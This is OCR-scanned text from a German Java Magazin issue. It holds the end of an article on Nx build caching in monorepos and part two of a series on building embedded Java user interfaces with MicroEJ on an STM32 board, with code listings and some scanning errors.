Der genutzte Cache lasst sich in nx.json verwalten. Ge-
naugenommen wird hier ein sogenannter Task-Runner
konfiguriert, der an einen Cache delegiert (Listing 1).

Die Eigenschaft cacheableOperations listet alle An-
weisungen, deren Ergebnisse gecacht werden sollen.
Die Eigenschaft runner verweist auf den zu nutzenden
Task-Runner. Der hier gezeigte und standardmafSig
eingerichtete Runner nutzt einen lokalen dateisystem-
basierten Cache. Er verwaltet seine Eintrage im Projekt
unter node_modules/.cache/nx (Abb. 5).

Nun ist es natiirlich wiinschenswert, den Cache mit
anderen Teammitgliedern zu teilen. Hierzu stellt das
Team hinter Nx die kommerzielle Nx-Cloud zur Ver-

--publishable

Als Alternative zu --buildable 1asst sich auch der Schalter
--publishable verwenden. Er generiert ein paar weitere Da-
teien, die es erlauben, die Bibliothek nach dem Bauen auch
via npm zu verdffentlichen. Beim Einsatz von --publishable
ist seit Nx 10 zusatzlich der Schalter --import-path zu nut-
zen. Mit ihm lasst sich der Name des npm-Pakets angeben.
Das ist notwendig, da die von Nx intern verwendeten Namen
nicht zwangsweise als npm-Paketnamen verwendet werden
dirfen.
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mentierungen schreiben. Ein Beispiel dafir
ist Apployees-Nx [4], (Kasten: ,,Apployees-
Nx*“). Dieses Projekt erlaubt den Einsatz von
Datenbanken wie MongoDB oder Redis zum
Verwalten des Nx-Cache. Erste Tests brach-
ten ein vielversprechendes Ergebnis mit sich.
Allerdings muss man an dieser Stelle auch er-
wihnen, dass das API der Task-Runner noch
nicht final und somit moglicherweise Ande-
rungen unterworfen ist.

Fazit

Durch das separate Kompilieren von Biblio-
theken und den Einsatz eines Cache ist Nx in
der Lage, inkrementelle Builds durchzufiih-
ren. Das beschleunigt den gesamten Build-
Vorgang. Damit das moglich ist, miissen wir
jedoch unsere Anwendungen in Bibliotheken
untergliedern. Das wirkt sich auch auf die

Abb. 4: Inkrementeller Build

Struktur der gesamten Anwendung positiv

aus: Jede Bibliothek hat klare Grenzen und
kann Implementierungsdetails vor anderen
Bibliotheken verbergen. Nur das veroffent-
lichte API muss abwartskompatibel bleiben,
um Breaking Changes zu vermeiden. Dieser
Ansatz passt auch wunderbar zu den Ideen
von DDD [3]. Pro Domine wird eine Grup-
pe mit Bibliotheken erzeugt. Zwischen den

Abb. 5: Lokaler Cache

fiigung. Sie existiert als Cloud-Losung, ldsst sich mitt-
lerweile aber auch lokal installieren. Alternativ dazu
kann man den Ordner mit dem Cache auch iiber einen
Symlink auf ein Netzlaufwerk verweisen lassen. Da Nx
Open Source ist, lassen sich auch eigene Cacheimple-

Listing 1

"tasksRunnerOptions": {
"default": {
"runner": "@nrwl/workspace/tasks-runners/default",
"options": {
"cacheableOperations": ["build", "lint", "test", "e2e"]

Apployees-Nx

Beim Einsatz von Apployees-Nx und Redis ist zu beachten,
dass die anzugebende Verbindungszeichenfolge einen
Benutzernamen enthalten muss:

rediss://<dummy-user>:<password>@<host>:<port>/<db-name>

Da Redis allerdings keine Benutzernamen verwendet, kann
hier ein beliebiger Dummywert angegeben werden.

90 javamagazin 1212020

einzelnen Gruppen, aber auch zwischen den

Bibliotheken einer Gruppe kann Nx mit Zu-
griffseinschrankungen eine lose Kopplung erzwingen.
Neben einem lokalen Cache unterstiitzt Nx auch Netz-
werkcaches. Somit wird sichergestellt, dass jeder Pro-
grammstand im gesamten Team nur ein einziges Mal
kompiliert werden muss.

Manfred Steyer ist Trainer und Berater mit Fokus auf Angular,
Google Developer Expert und Trusted Collaborator im Angular-
Team. Er schreibt fiir O'Reilly, das deutsche Java Magazin und
Heise Developer. Unter www.ANGULARarchitects.io bieten er und
sein Team Angular-Schulungen und Beratung in Deutschland,
Osterreich und der Schweiz an.

l‘ “n www.softwarearchitekt.at
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Links & Literatur

[1] https://nx.dev
[2] https://github.com/manfredsteyer/incr-experiment

[3] https://www.angulararchitects.io/ aktuelles/tactical-domain-driven-
design-with-monorepos/

[4] https://github.com/Apployees/apployees-nx
[5] https://www.npmjs.com/package/@angular-architects/ddd
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Java am Microcontroller mit MicroEJ - Teil 2

Embedded-Benutzer-
schnittstellen mit Java

Die Moglichkeit, Java-Code auf einem Mikrocontroller auszuflihren, hilft bei der
Reduktion der Softwarekopplung. MicroEJ bringt allerdings auch einen reich-

haltigen GUI-Stack mit.

von Tam Hanna

Die Frage, ob sich Java zur Realisierung eines mit
400 kHz rodelnden Schaltreglers eignet, braucht man
nicht wirklich zu diskutieren. Der Garbage Collector
reicht aus, um die Echtzeiteigenschaften des Ausfiih-
rungssystems irreparabel zu beschiadigen.

Analog zur Frage, ob eine Tupolew 144 das ein-
zig wahre Flugzeug ist (Antwort: nein, denken Sie an
Frachtflige), gibt es auch in der Welt der Mikrocont-
rollerprogrammierung eine Vielzahl von Aufgaben, die
ohne Echtzeiteigenschaften auskommen. Ein Klassiker
wire die Anzeige reichhaltiger grafischer Oberflichen —
gewohnliche LCD-Displays sind mittlerweile nicht ein-
mal mehr im Humidorbereich akzeptabel (Abb. 1).

GUI im Chaos

Die Entwicklung von Benutzerschnittstellen fiir Java-
Programme ist seit jeher ein Marsch durch den Urwald —
Dutzende von Standards konkurrieren um die Gunst des
PT-Entwicklers. Bei der Arbeit in der MicroE]J-Welt ist
die Situation insofern etwas einfacher, als es — eigent-
lich — nur zwei GUI-Systeme gibt. Erstens gibt es die
MicroUI-Bibliothek. Hinter dem Akronym verbirgt sich
der Begriff Micro User Interface. Es handelt sich dabei
um einen ,,Zeichen-Primitiv-Stack®, der nebenbei auch
fir das Entgegennehmen von Button- und Touchscreen-

Artikelserie

Teil 1: Runtime am STM32 installieren
Teil 2: Embedded-Benutzerschnittstellen mit Java
Teil 3: Hardwarezugriff aus Java

Ereignissen und die Internationalisierung von Strings
verantwortlich zeichnet. In der Theorie kénnte ein Ent-
wickler mit MicroUI Steuerelemente zusammenbauen.
Um uns diese (wenig befriedigende) Arbeit zu er-
sparen, gibt es zusitzlich die auf MicroUI basierenden
Widget-Libraries. Sie stellen Dutzende vorgefertigte
Steuerelemente zur Verfiigung, mit denen der PT-Ent-
wickler unbiirokratisch Applikationen realisieren kann.

Erzeugung eines eigenen Projekts

Als erste Aufgabe wollen wir unseren STM32 zur Reali-
sierung kleiner grafischer Spielereien einspannen. Hier-
zu wollen wir ein neues Projekt erzeugen, weshalb wir
im MicroE] SDK auf die Option FiLe | NEw klicken.
Das MicroE] SDK bietet dort zwei Projektvorlagen an:
einerseits ein MICROE] SANDBOX APPLICATION PRro-
JECT, andererseits ein MICROE] STANDALONE APPLICA-
TION PROJECT.

Laut dem unter [1] bereitstehenden MicroE]J-Glossar
kennt die Ausfithrungsumgebung vier Applikationsty-
pen: Die Standalone Application ist eine Applikation,
die direkt mit dem fiir die Plattform verantwortlichen
C-Code verlinkt wird. Eine Systemapplikation ist dann
eine Standalone Application, die allerdings durch stati-
sches Linking verbunden wird und dadurch direkt Teil
des Images ist. Sandboxed Applications unterscheiden
sich davon insofern, als sie als Gast in einer Multi-Sand-
box-Firmware leben. Kernelapplikationen sind fir uns
an dieser Stelle nicht weiter interessant.

Auch wenn sich Standalone-Applikationen gemafs den
unter [2] bereitstehenden Anweisungen in eine Sandbox-
Applikation umwandeln lassen, wollen wir hier direkt
mit einer Sandbox-Vorlage arbeiten. Im ersten Schritt
fragt MicroE] dabei nach einem Projektnamen — der Au-
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tor vergibt SUSGUI1. Die ArrricaTiON-Felder werden
automatisch bevolkert, im Feld OrRGaNIsATION diirfen
Sie auf Wunsch den Paketnamen anpassen. Nach dem
positiven Quittieren des Dialogs vergehen etwa 30 Se-
kunden, bevor das neue Projekt im Package Explorer
aufscheint. MicroE] Studio muss im Hintergrund diver-
se Housekeeping-Aufgaben erledigen.

Nach dem erfolgreichen Durchlaufen des Generator-
assistenten stellen wir fest, dass wir ein komplett lee-
res Projekt erhalten haben. Ursache dafiir ist, dass eine
Applikation sowohl einen Background Service als auch
eine mit einem Benutzer-Interface ausgestattete Activi-
ty realisieren darf. Unsere erste Amtshandlung besteht
darin, die Datei module.ivy zu 6ffnen und nach dem
folgenden Schema um einen Verweis auf die MicroUI-
Bibliothek zu erweitern (Listing 1).

Die MicroUI-Firmware wird in einem hochmodularen
Verfahren ausgeliefert, um Entwicklern das maximale
Reduzieren des Speicherverbrauchs zu ermoglichen.
Das Einsparen von 10 kB mag auf dem Desktop egal
sein — wenn es lhnen im Embedded-Bereich das Nutzen
der nichstkleineren Chipgrofse ermoglicht, konnen die
Gewinne insbesondere bei grofSen Fertigungsmengen je-
doch enorm sein.

Wir wollen in den folgenden Schritten einen grafi-
schen Applikationsdienst realisieren. Deshalb erzeugen
wir eine neue Klasse, die wir im ersten Schritt von Ac-
tivity ableiten. Der einige Zeit in Anspruch nehmende
Generierungsprozess fiir die erforderlichen Member-
Funktionen liefert dann eine nach dem Schema in Lis-
ting 2 aufgebaute Struktur, die Sie um den Konstruktor
und das Zuriickliefern eines Strings in der ID-Methode
erweitern.

Listing 1

<dependencies>

<dependency org="ej.api" name="edc" rev="1.2.3" conf="provided->*" />

<dependency org="ej.api" name="microui" rev="2.0.6"/>

<dependency org="gj.library.wadapps" name="framework" rev="1.10.0" />
</dependencies>

Listing 2

import ej.microui.MicroUI;
import ej.wadapps.app.Activity;

public class SUSActivity implements Activity {
public SUSActivity() {
MicroULstart();
}
@0verride
public String getID() {
return "sus-activity";

MicroEJ

Internet
of Things

Abb. 1: Produkte wie der Hygrosage vertreiben numerische bzw. alphanumerische

LCDs aus ihren letzten Einsatzbereichen

Die Implementierung aller Lebenszyklusmethoden ist
in MicroE] verpflichtend, es reicht allerdings aus, leere
Member-Methoden zu generieren:

@0verride
public void onCreate() {

Wundern Sie sich nicht tiber die unterschiedlichen Im-
porte: Die beiden Klassen sind in verschiedenen Paketen
beheimatet.

Nachdem die Klasse in einem kompilierbaren Format
ist, befehlen sie iiber PROJECT | CLEAN eine Rekompila-
tion der gesamten Projektmappe.

Leider fihrt die Erkennung der Activity-Klasse nicht
dazu, dass MicroE] Studio den Rest der Arbeitsumge-
bung automatisch dem neuen Betriebszustand anpasst.
Hierzu mussen wir die Klasse im ersten Schritt in ein
definiertes Paket verschieben, da die Verwendung des
Defaultpakets die Anpassung der Manifest-Datei un-
moglich macht. Im nachsten Schritt schnappen wir uns
das Manifest, und fiigen nach fol-

gendem Schema eine Activity-De-
klaration hinzu:

Application-Description: SUSGUI1
Application-Activities: com.tamoggemon.susquil.
SUSActivity

Wie weiter oben gilt auch hier, dass
an dieser Stelle eine manuelle Rei-
nigung der Projektstruktur notwen-
dig ist. Lohn der Miihen ist nun die
in Abbildung 2 gezeigte Generie-
rung eines Aktivators fir die neue

Activity.
An dieser Stelle konnen wir das
Programm erstmals, und zwar im
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Abb. 2: Wenn alles richtig einge-
richtet ist, kimmert sich lvy um die
Errichtung des Scaffolding-Codes
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Simulator, starten. Da wir keine Drawels anliefern, er-
scheint nur ein schwarzer virtueller Bildschirm.

Zeichnen wie in alten Tagen

STMicroelectronics stattet seine Nucleo-Boards mit
hochwertigen Displays aus. Als der Autor in den Elek-
troniksektor zuruickkehrte, waren die Boards so sehr als
Prozessrechner begehrt, dass STMicroelectronics diese
Nutzung in den Endbenutzerlizenzvertragen komplett
untersagte.

Fur die eigentliche Anzeige von Inhalten benotigen
wir abermals eine Displayable-Klasse, die wir nach dem
folgenden Schema (unter Nutzung der im MicroE] SDK
integrierten Automatikvervollstindigungsfunktion) als
Skelett generieren lassen. MicroE] SDK generiert dabei
von Haus aus die in Listing 3 gezeigte Klasse, die aus
zwei Methoden besteht.

Neben der fir die Generierung der Bildschirminhalte
verantwortlichen Methode Paint finden wir hier Get-
Controller, die tibrigens null zurtickliefern darf. Der GUI-
Stack implementiert im Hintergrund das MVC-Pattern:
Einzelne Displayables konnen bzw. miissen einen Con-
troller anliefern, der fiir die Entgegennahme von Display-
able betreffenden Ereignissen verantwortlich ist.

Ein Kompilationsversuch informiert uns tiber das

Fehlen des Constructors. Diesem Problem schaffen wir
mit folgendem Code Abhilfe:

public class SUSDisplayable extends Displayable {

public SUSDisplayable() {
super(Display.getDefaultDisplay());
}

Durch Aufrufen der Methode Display.getDefaultDis-
play() weisen wir die Arbeitsumgebung dazu an, das
vom Erzeuger des Board Support Package als Standard
vorgesehene Display fiir die Ausgabe der Inhalte zu ver-
wenden. Im nichsten Schritt konnen wir mit der Gene-
rierung der anzuzeigenden Inhalte beginnen (Listing 4).

Der in Listing 4 gezeigte Code fiillt das Display mit ro-

erlaubt aber das Uberpriifen der korrekten Funktion der
Zeichenroutine.

Bei der Arbeit mit Prozessrechnerdisplays ist es emp-
fehlenswert, weifle und schwarze Displays zu vermei-
den. Weif3 ist nicht ratsam, weil viele Displaycontroller
im Leerlauf einen weiflen Inhalt darstellen. Schwarz
fithrt bei der Verwendung organischer Displays zu ei-
nem toten Schirmbild, was die Unterscheidung zwischen
Hardwarefehler und schlafendem Bildschirm erschwert.

Wer das Programm im vorliegenden Zustand auf den
Prozessrechner schickt, sieht nach der Installation im-
mer noch nur das Startment — ein Klick auf das Pro-
grammsymbol sorgt nur dafiir, dass der Callout On
iiber dem Icon erscheint. Wer die Displayable-Klasse
zur Anzeige von Bildschirminhalten animieren méchte,
muss sie in den Lebenszyklus integrieren (Listing 5).

Nach dieser Anpassung konnen Sie das Programm
ausfithren, um sich an einem komplett roten Display zu
erfreuen.

Entgegennahme von Ereignissen

Unser Nucleo ist neben dem Touchscreen auch mit zwei
Knopfen ausgestattet — wihrend der eine einen Reset des
Prozessors auslost, diirfen Sie den anderen zur Aktivie-
rung beliebiger Ereignisse in Threr Programmlogik ein-
spannen.

Zur Entgegennahme der Events miissen wir eine In-
stanz der Klasse EventHandler bereitstellen. Das ldsst
sich bequem im Rahmen des Displayable erledigen —
dass es den Regeln des MV C-Patterns nicht zu 100 Pro-
zent entspricht, sei angemerkt (Listing 6). Beachten Sie,
dass Sie den Controller noch ans System zuriickliefern
miussen. Die MicroE]-Firmware wire sonst namlich
nicht in der Lage, den Eventhandler zu finden.

Als Nichstes fordern wir die IDE dazu auf, die fehlen-
den Methoden fiir uns automatisch zu generieren. Das
fithrt zur Hinzufiigung der folgenden Methode:

@0verride
public boolean handleEvent(int event) {
return false;

ter Farbe. Das mag keine besondere Leistung darstellen, }
Listing 3 Listing 4 Listing 5
public class SUSDisplayable extends Displayable { @0verride @0verride

@0verride
public void paint(GraphicsContext g) {

}

@0verride
public EventHandler getController() {
return null;
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public void paint(GraphicsContext g) {
g.setColor(Colors.RED);
int width = getDisplay().getWidth();

int height = getDisplay().getHeight();

g.fillRect(0, 0, width, height);
}

public void onStart() { :
displayable = new SUSDisplayable();
displayable.show(); :

}

@0verride

public void onStop() {
this.displayable.hide();
this.displayable = null;
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Aufmerksame Entwickler bemerken, dass der Aufruf
der Methode durch Ubergabe eines einzelnen Integers
erfolgt. Das liegt daran, dass Embedded-Systeme bis zu
einem gewissen Grad custom sind. Der Entwickler des
BSP kann beliebige eigene Ereignisse festlegen, die von
der in Java gehaltenen Applikationslogik zu verarbeiten
sind. Wiirde man die Event-Verarbeitung in MicroE]
wie ein gewohnliches Java-Programm realisieren, so
kame es bei Anpassungen im nativen Teil immer auch zu
Anderungen des Java-Programms. Der vorliegende Weg
ist insofern angenehmer, als jedes Ereignis anhand einer
ID im Backend mit Zusatzinformationen aufgewertet
werden kann.

Auf Java-Seite findet sich eine zusitzliche Event-Klas-
se, die bei Reflektion unter anderem die Elemente in Lis-
ting 7 zu Tage fordert.

In der ebenfalls beiliegenden Kommentierung findet
sich unter anderem der folgende Hinweis, der den Auf-
bau der von MicroE] angelieferten Event Integers be-
schreibt:

* event : type (8-bit) + generatorID (8-bit) + data (16-bit)<br>

Die ersten 16 Typen sind fiir die MicroE] Runtime reser-
viert, was dem Entwickler bis zu 240 hauseigene Hard-
wareereignisse offenlasst.

Unsere nichste Amtshandlung ist das Herausfinden
des Ereignistyps, der vom blauen Knopf ausgelost wird.
Hierzu legen wir im ersten Schritt ein Flag an, das auf
einen negativen Wert initialisiert wird:

public class SUSDisplayable extends Displayable implements EventHandler {
int myEventID = -1;

Die Vorgehensweise des Einschreibens eines sicher un-
gliltigen Werts in ein Speicherfeld ist eine im Embedded-
Bereich hiufig zu beobachtende Vorgehensweise. Die
Verarbeitungsroutine priift im ersten Schritt, ob das
jeweilige Feld den ungiltigen Startwert oder einen an-
deren Wert enthilt — auf diese Art und Weise lasst sich
unbiirokratisch feststellen, ob der jeweilige Wert von
der Hardware beriihrt wurde. Darauf folgt eine Anpas-
sung von handleEvent:

@0verride

public boolean handleEvent(int event) {
this.myEventID = Event.getType(event);
repaint();
return false;

}

Als Erstes nutzen wir die statische Klasse Event, um mit
ihrer Getld-Methode die Event-ID zu ermitteln. Die-
se wandert danach in die Flag, der Aufruf repaint 16st
eine Neuzeichnung des Displayable aus. Analog zur
klassischen AWT gilt auch in MicroE], dass das Neu-
zeichnen der am Bildschirm erscheinenden Elemente
ausschliefSlich vom Framework ausgelost werden darf,

MicroEJ

der Entwickler muss durch Aufruf von repaint einen
Antrag stellen.

Das Zuriickgeben von False informiert das Betriebs-
system dariiber, dass die Verarbeitung dieses Ereignisses
noch nicht abgeschlossen ist.

Als Nachstes benotigen wir eine Zeichenroutine, die
neben dem bereits bekannten Code zum Leeren des
Bildschirms nun auch die Ausgabe fiir uns erledigt (Lis-
ting §).

An dieser Stelle konnen Sie das Programm entweder in
den Simulator oder auf ein Board schicken, und sowohl
den Touchscreen als auch den blauen Knopf beriihren.
Achten Sie darauf, dass der schwarze Knopf einen Hard-
warereset auslost; Abbildung 3 und Abbildung 4 zeigen,
dass STMicroelectronics den blauen Knopf nicht iiber
ein MicroE] Event, sondern tiber eine hauseigene Ereig-
nis-ID in den Java-Code exponiert.

Listing 6

public class SUSDisplayable extends Displayable implements EventHandler {

@0verride
public EventHandler getController() {
return this;

Listing 7

public class Event {
public static final int COMMAND = 0x00;
public static final int BUTTON = 0x01;
public static final int KEYBOARD = 0x02;
public static final int POINTER = 0x03;
public static final int KEYPAD = 0x04;
public static final int STATE = 0x05;

Listing 8

@0verride
public void paint(GraphicsContext g) {

if (this.myEventID !=-1) {
Font font = Font.getFont(Font.LATIN, 26, Font.STYLE_PLAIN);
g.setColor(Colors.BLACK);
g.setFont(font);
g.drawString("Knopf: " + Integer.toString(this.myEventID), 50, 50,
GraphicsContext.HCENTER | GraphicsContext.VCENTER);
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Abb. 3: Der Knopf generiert ein Ereignis mit der ID 16 ...

Abb. 4: ... wahrend sich das Touchscreen-Event in der weiter oben
gezeigten statischen Liste wiederfindet

Fir die eigentliche Ereignisverarbeitung mit MicroE]
findet sich unter [3] ein vollwertiges Beispiel, das alle
in der Stammfirmware implementierten Ereignisse de-
monstriert.

Die eigentliche Verarbeitung beginnt dabei immer mit
der Vereinzelung der angelieferten Informationen. Uber
getType und getData beschaffen wir im ersten Schritt

Listing 9

public class MainActivity implements Activity {
@0verride
public String getID() {
return "DemoWidget"; //$NON-NLS-1$
}

@0verride

public void onStart() {
WidgetsDemo.start();

}

@0verride
public void onStop() {
WidgetsDemo.stop();

}
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zwei Integers, die das Beispiel danach an fiir jedes Ereig-
nis optimierte Handler weiterreichen:

int type = Event.getType(event);
int data = Event.getData(event);
switch (type) {
case Event.COMMAND:
showCommand(data);
break;

Aus Platzgrinden wollen wir uns hier auf die Behand-
lung von Command Events beschrinken. Ein einge-
hendes Command wird unter Nutzung der statischen
Elemente der Command-Klasse weiter reflektiert, um
mehr Informationen iiber die Art des aufgetretenen Er-
eignisses zu gewinnen:

private void showCommand(int data) {

switch (data) {
case Command.ESC: System.out.println("ESC"); break;

Wer ein Ereignis eines anderen Typs entgegennehmen
muss, muss logischerweise die zum jeweiligen Ereignis
gehorenden Klasse verwenden. Ein vom Entwickler im
nativen Code angelegtes Event wird dann naturgemafs
durch eine weitere hauseigene Java-Klasse fortgerechnet.

Automatische GUI-Generierung

An dieser Stelle konnten wir nach Belieben mit Linien,
Rechtecken und Gradienten Steuerelemente zusammen-
bauen. Diese technisch durchaus interessante Vorge-
hensweise ist in der Praxis nur wenig lohnend, weshalb
wir nun die in der Einleitung erwihnte Bibliothek online
nehmen wollen.

Fiir erste Gehversuche bietet sich das unter [4] bereit-
stehende Sample an — laden Sie das Archiv herunter, um
es danach im MicroE] Studio zu laden. Lohn der Miihen
ist die Projektmappe /com.microej.demo.widget, die im
ersten Schritt zwecks Aktualisierung der Ivy-Verzeich-
nisse mittels CLEAN ALL rekompiliert wird. In der fiir die
Kompilationssteuerung verantwortlichen Datei module.

Listing 10

Desktop = new Desktop() {
@0verride
public boolean handleEvent(int event) {
int type = Event.getType(event);

return super.handleEvent(event);
}
2
Panel = new Panel();
Panel.setWidget(TransitionContainer);
Panel.showFullScreen(Desktop);
Desktop.show();

www.]AXenter.de



ivy finden wir die folgende Passage, die ebenfalls eine
Gruppe von Bibliotheken ladt:

<dependency org="¢j.library.runtime" name="components" rev="3.3.0"/>
<dependency org="ej.library.ui" name="widget" rev="2.4.0"/>
<dependency org="¢j.library.util" name="exit" rev="1.2.0"/>

<dependency org="¢j.library.wadapps" name="framework" rev="1.10.0"/>

Die Inbetriebnahme des Samples erfolgt dann wie ge-
wohnt durch einen Rechtsklick, fiir einen ersten Test
reicht der Simulator aus. MicroE] Studio bietet inter-
essanterweise zwei Einsprungpunkte an — neben der
Datei WidgetsDemo gibt es im automatisch generier-
ten Programm einen weiteren Einsprungpunkt namens
WidgetDemoEntryPoint. Wir wollen in den folgenden
Schritten aber die WidgetsDemo auswihlen und einen
Start befehlen, der mit den von Haus aus vorgegebenen
Einstellungen einen neuen Simulatorstart auslost.

Analog zu Googles Demoapplikationen setzt auch
12ST im ersten Schritt auf eine Liste (Abb. 5). Das Ankli-
cken der einzelnen Eintrage 6ffnet dann ein Unterfenster,
das die jeweiligen Komponenten im Detail demonstriert.
Abbildung 6 zeigt, was Sie beim Anklicken der Option
Basic WiDpGeTs Picto offeriert bekommen.

An dieser Stelle konnen wir uns auf die Suche nach
dem Einsprungpunkt begeben. Im Paket com.microe;.
demo.widget finden wir die Deklaration der MainActi-
vity, die neben dem Zuriickgeben einer ID nur die bei-
den Lebenszyklusereignisse voll implementiert, also mit
Logik im Code (Listing 9).

Die auf den ersten Blick ominose Klasse WidgetsDemo
befindet sich ebenfalls in diesem Paket. Besonders interes-
sant an ihr ist, dass sich hier eine klassische main-Methode
findet, die ihrerseits die start-Methode der Klasse anfeuert:

public static void main(String[] args) {
start();

}

Die Methode start beginnt abermals mit einem Aufruf
der start-Methode von MicroUI: Auch bei der Arbeit
mit Widgets Library ist der darunterliegende MicroUI-
Stack unbedingt erforderlich:

public static void start() {
MicroULstart();
StylesheetPopulator.initialize();
TransitionContainer = newTransitionContainer();
mainPage = new MainPage();
showMainPage();

Nach der Bereitstellung einiger Primitiva beginnt die Ge-
nerierung der eigentlichen Steuerelemente (Listing 10).

Wie geht es weiter?

An dieser Stelle konnen wir unsere WidgetDemo aus-
fiihren und mit den angezeigten Steuerelementen her-

MicroEJ

Abb. 5: Inspiration durch Google ist nicht von der Hand zu weisen

Abb. 6: Die Steuerelemente sehen desktopreif aus

umspielen. Bisher wissen wir nicht, was im Hintergrund
passiert. Die Arbeit mit Vektorgrafiken, Rastergrafiken
und Piktogrammen ist im Embedded-Bereich allerdings
wichtig, weil sie die Abwagung der Ressourcen erlaubt.
Im nichsten Teil der Reihe werden wir uns damit im
Detail auseinandersetzen und mehr iiber die Widgets-
Library lernen. Bleiben Sie dem Autor treu, denn die Ar-
beit im Embedded-Bereich bleibt spannend.

Tam Hanna befasst sich seit der Zeit des Palm llic mit der Pro-
grammierung und Anwendung von Handcomputern. Er entwickelt
Programme fiir diverse Plattformen, betreibt Onlinenewsdienste
zum Thema und steht fiir Fragen, Trainings und Vortrdge gern zur
Verfligung.

g tamhan@tamoggemon.com u @tamhanna
Crazy Electronics Lab | @tam.hanna

Links & Literatur

[1] https://docs.microej.com/en/latest/glossary.html

[2] https://github.com/MicroEJ/How-To/tree/ master/
StandaloneToSandboxed

[3] https://github.com/MicroEJ/Example-Standalone-Foundation-Libraries/
blob/master/com.microej.example.foundation.microui.input/src/main/
java/com/microej/example/foundation/microui/input/EventHandlerimpl.
java

[4] https://github.com/MicroEJ/ Demo-Widget
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